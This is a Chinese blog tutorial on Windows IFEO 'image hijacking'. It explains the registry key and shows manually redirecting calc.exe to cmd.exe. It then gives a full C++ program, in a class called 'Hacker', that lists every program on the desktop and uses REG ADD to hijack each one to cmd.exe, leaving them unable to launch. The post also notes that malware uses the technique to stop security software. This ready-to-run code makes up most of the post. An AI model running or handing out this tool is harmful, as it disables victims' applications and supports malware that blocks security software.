关于映像劫持

什么是映像劫持?
“映像劫持”,也被称为“IFEO”(Image File Execution Options),在WindowsNT架构的系统里,IFEO的本意是为一些在默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定。当一个可执行程序位于IFEO的控制中时,它的内存分配则根据该程序的参数来设定,而WindowsN T架构的系统能通过这个注册表项使用与可执行程序文件名匹配的项目作为程序载入时的控制依据,最终得以设定一个程序的堆管理机制和一些辅助机制等。出于简化原因,IFEO使用忽略路径的方式来匹配它所要控制的程序文件名,所以程序无论放在哪个路径,只要名字没有变化,它就运行出问题。

映像劫持的原理
映像劫持是利用Windows的IFEO(Image File Execution Options)功能来实现的。IFEO实际上是Windows的一项正常功能,主要用于调试程序,其初衷是在程序启动的时候开启调试器来调试程序,这样一来可以在调试器中观察程序在难以重现的环境中的行为。例如,某个程序在随用户登录自动启动时会出错,但在登录后手动启动时却一切正常,这就可以通过IFEO设置一个调试器,无论程序何时启动,都会开启这个调试器对其进行调试,以便找出问题。很多病毒木马都会使用这种手段阻止安全软件的运行

win+R输入regedit以管理员身份运行打开注册表编辑器,并找到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options就是保存IFEO设置的地方


假设我们要对calc.exe进行映像劫持,我们右击新建项,添加项calc.exe,并添加一个字符串值:“Debugger”,修改其值为我们想要打开的文件,在这里我们修改成cmd.exe.(由于cmd.exe存在于操作系统的环境变量中,所以可以不填写绝对路径,如果不存在于操作系统环境变量中,就需要填写文件的绝对路径)
当你运行calc.exe的时候,系统首先会在注册表的Image File Execution Options中寻找名为“calc.exe”的项,如果存在该项,则继续寻找名为“Debugger”的字符串值,如果找到,则转而启动Debugger值中指定的程序,即cmd.exe


这个时候我们保存注册表编辑器。(不在虚拟机实验先导出注册表,做一个备份,避免影响操作系统正常运行)然后我们运行calc.exe(计算器),就会惊讶的发现,我们计算器已经被cmd.exe劫持,计算器已经无法打开。

C/C++遍历当前桌面下所有文件实现映像劫持


#include "shlobj.h" 
#include <iostream>
#include <string>
#include <list>
#include <vector>
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <io.h>
using namespace std;
class Hacker {
public:
	Hacker()
	{
		Path = this->getDesktopPath();
		GetAllgpxFilepathFromfolder(Path);
	}
private:
	string Path;
public:
	list<string> FileName;
private:
	string  getDesktopPath()		//获取桌面路径
	{
		LPITEMIDLIST pidl;
		LPMALLOC pShellMalloc;
		char szDir[200];
		if (SUCCEEDED(SHGetMalloc(&pShellMalloc)))
		{
			if (SUCCEEDED(SHGetSpecialFolderLocation(NULL, CSIDL_DESKTOP, &pidl))) {
				// 如果成功返回true  
				SHGetPathFromIDListA(pidl, szDir);
				pShellMalloc->Free(pidl);
			}
			pShellMalloc->Release();
		}

		return string(szDir);
	}

private:
	int  GetAllgpxFilepathFromfolder(string Path)
	{
		char szFind[MAX_PATH];
		WIN32_FIND_DATA FindFileData;
		strcpy(szFind, Path.c_str());
		strcat(szFind, "\\*.*");
		HANDLE hFind = FindFirstFile(szFind, &FindFileData);
		if (INVALID_HANDLE_VALUE == hFind)	return -1;
		do
		{
			if (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
			{
				if (strcmp(FindFileData.cFileName, ".") != 0 && strcmp(FindFileData.cFileName, "..") != 0)
				{
					//发现子目录,递归之
					char szFile[MAX_PATH] = { 0 };
					strcpy(szFile, Path.c_str());
					strcat(szFile, "\\");
					strcat(szFile, FindFileData.cFileName);
					GetAllgpxFilepathFromfolder(szFile);
				}
			}else{
				FileName.push_back(FindFileData.cFileName);
			}
		} while (FindNextFile(hFind, &FindFileData));
		FindClose(hFind);
		return 0;
	}
};

void replaceA_to_B(std::string& S, const std::string A, const std::string B) {
	std::size_t found = S.find(A);
	while (std::string::npos != found) {
		S.replace(found, A.length(), B);
		found = S.find(A, found + 1);
	}
}
int main()
{
	Hacker* one = new Hacker();
	string arr;
	for (list<string>::iterator itor = one->FileName.begin(); itor != one->FileName.end(); itor++)
	{
		replaceA_to_B(*itor, ".lnk", ".exe");
		int pos = 0;
		pos =(*itor).find(".exe");
		if (-1 != pos)
		{
			*itor = (*itor).substr(0, pos+4);
		}
	}
	for (list<string>::iterator itor = one->FileName.begin(); itor != one->FileName.end(); itor++)
	{
		arr = "REG ADD \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + *itor + "\"" + "  /v Debugger /t REG_SZ /d \"cmd.exe\" /f";
		system(arr.c_str());
	}
	system("pause");
	return 0;
}
  • 6
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值